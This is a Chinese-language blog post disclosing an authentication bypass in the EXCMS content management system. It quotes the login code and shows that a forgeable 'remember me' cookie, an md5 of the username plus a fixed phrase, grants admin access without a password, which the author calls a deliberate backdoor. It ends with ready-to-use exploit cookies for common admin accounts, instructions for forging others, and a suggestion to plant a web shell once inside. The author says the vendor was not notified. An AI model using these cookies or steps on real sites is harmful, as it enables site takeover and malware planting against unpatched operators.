EXCMS 0day (过程精彩)
以下版本没测试 测试的是最新版本
在公布前几小时没有通知官方 ^_^ 哈哈
为什么说过程精彩呢? 看完就明白!
因为这个漏洞原因非一般! 同时映射出中国软件行业的悲哀!!!
经典对白 看代码
后台登录文件
adminmodulesauthindex.php
if ( defined( "excms" ) ) //在admin/index.php里有了 下面文件都是包含运行方式的
{
}
if ( !defined( "excms_admin" ) )
{
exit( "access denied" );
}
$excms_action['title'] = "登录"; //标题
$forward = $_get['forward']; //登录后转跳的地方
$verifycode = $excms_config['login_verifycode']; //验证码。。。
if ( $_post['logintype'] != 1 && !empty( $_cookie['excmsadmin'] ) )
//迈下伏笔了!
{
$defaultboxdisplay = "none";
$boxdisplay = "";
$remeberinfo = explode( "&", $_cookie['excmsadmin'] );
//看到这里没? 神奇把?
$remeberadmin = $remeberinfo[0];
$remeberpwd = $remeberinfo[1];
//账号密码获取了(cookies方式?) 看下去将会发生的事情很惊天地!
$pwdforever = strtoupper( md5( $remeberadmin." love excms forever" ) );
//这就是中国特色! 作者 你知道良心2个字什么写吗? 你知道什么叫道德吗?
$remeberpwd = $remeberpwd == $pwdforever ? true : false;
$logininputdispay = $remeberpwd ? "none" : "";
$logintype = $remeberpwd ? 3 : 2;
}
else
{
$defaultboxdisplay = "";
$boxdisplay = "none";
$logininputdispay = "none";
$logintype = 1;
}
//下面是输出登录界面的
然后是checklogin.php 验证登录文件
经典对白 看代码!
if ( defined( "excms" ) )//index.php有了
{
}
if ( !defined( "excms_admin" ) )
{
exit( "access denied" );
}
$excms_action['loadtpl'] = true;
$adminname = trim( $param['adminname'] );
$password = trim( $param['logintype'] == 2 ? $param['password1'] : $param['password'] );
$rememberpwd = $param['logintype'] == 2 ? $param['savepwd'] : $param['rememberpwd'];
$forward = $param['forward'];
$login_fail = true;
$error = "";
//以上东西不用理 $param都是post方式的
if ( empty( $adminname ) )
//检测账户是否为空
{
$error = getlangbyname( "empty_adminname" );
}
else if ( $param['logintype'] != 3 && empty( $password ) )
//检测这个什么东西 可能是步骤把 是否第3步和密码是否是空
{
$error = getlangbyname( "empty_password" );
}
else
{
if ( $param['logintype'] == 3 )
{
//以下内容绝非因失误做成的漏洞 以这个程序编写技术 没可能这样 可以找任何php高手鉴证
$remeberinfo = explode( "&", $_cookie['excmsadmin'] );
$remeberadmin = $remeberinfo[0];
$remeberpwd = $remeberinfo[1];
//账号密码从cookies里获取!
$pwdforever = strtoupper( md5( $adminname." love excms forever" ) );
if ( $remeberpwd == $pwdforever )
//cookies里的账号加密过程 比espcms还简单~~
{
include_once( lib_path."system/admin.class.php" );
$admin_obj = new admin( );
$admin = $admin_obj->getbyadminname( $adminname );
//悲剧! 只验证了管理员账号 没有验证密码!!!
if ( $admin )
{
$admin['acl'] = $admin_obj->getadminacl( $admin['adminid'] );
$_session['admininfo'] = $admin;
//获得管理员权限了!!!!!!!!!
++$_session['admininfo']['logintimes'];
$admin_obj->updatelastlogin( $admin['adminid'] );
include_once( lib_path."auth/auth.class.php" );
$auth = new auth( );
$auth->checkmenu( true );
$excms_action['loadtpl'] = false;
$login_fail = false;
}
}
}
else
//跳过没有cokies 下面就是真正的验证登录状态 请注意 是有验证密码的!
{
if ( $excms['config']['login_verifycode'] )
{
$param['verifycode'] = trim( $param['verifycode'] );
if ( $param['verifycode'] == "" )
{
$error = getlangbyname( "empty_verifycode" );
}
else
{
include_once( lib_path."util/checkcode.class.php" );
$checkcode = new checkcode( );
if ( !$checkcode->check( $param['verifycode'] ) )
{
$error = getlangbyname( "verifycode_failed" );
}
}
}
if ( empty( $error ) )
{
include_once( lib_path."auth/auth.class.php" );
$auth = new auth( );
$loginmsg = $auth->login( $adminname, $password );
if ( $loginmsg['success'] )
{
$_session['admininfo'] = $loginmsg['admininfo'];
++$_session['admininfo']['logintimes'];
$auth->checkmenu( true );
if ( $rememberpwd == 1 )
{
$pwdforever = strtoupper( md5( $adminname." love excms forever" ) );
setcookie( "excmsadmin", $adminname."&".$pwdforever, time( ) + 2592000 );
}
else if ( $param['logintype'] != 2 && $param['rememberme'] == 1 )
{
setcookie( "excmsadmin", $adminname, time( ) + 2592000 );
}
$login_fail = false;
$excms_action['loadtpl'] = false;
}
else
{
$error = getlangbyname( $loginmsg['message'] );
}
}
}
}
if ( !$login_fail )
{
if ( empty( $forward ) || strpos( $forward, "index.php?m=auth" ) )
{
header( "location:index.php", true );
exit( );
}
header( "location:".$forward, true );
exit( );
}
$errorcls = "f";
if ( $excms_action['loadtpl'] )
{
if ( !$error )
{
$error = getlangbyname( "login_failed" );
}
require( modules_path."auth/index.php" );
}
?>
//分析完毕
最后给出exp
excmsadmin=admin%26858a611c5651ac436d4450ce23a858d1;
excmsadmin=administrator%263e0331271f1133f9613bd49e7c4fb0cd;
第1个是admin
第2个是administrator 一般 就这2个 其他账号的话请自行结构
结构方法 setcookie( "excmsadmin", md5( 账号." love excms forever" ) );
然后 strtoupper一次 就是把字母都变大写
修改cookies 直接进入后台 然后自定义页面 写入网马
后语 这个cookies“漏洞”并非是记住管理登录状态
记住管理登录的cookies是 session id 验证这个
所以这个漏洞100%是作者留下的后门!
上一篇: 一些不可不知Lightscape技巧
下一篇: Python 爬虫修养-处理动态网页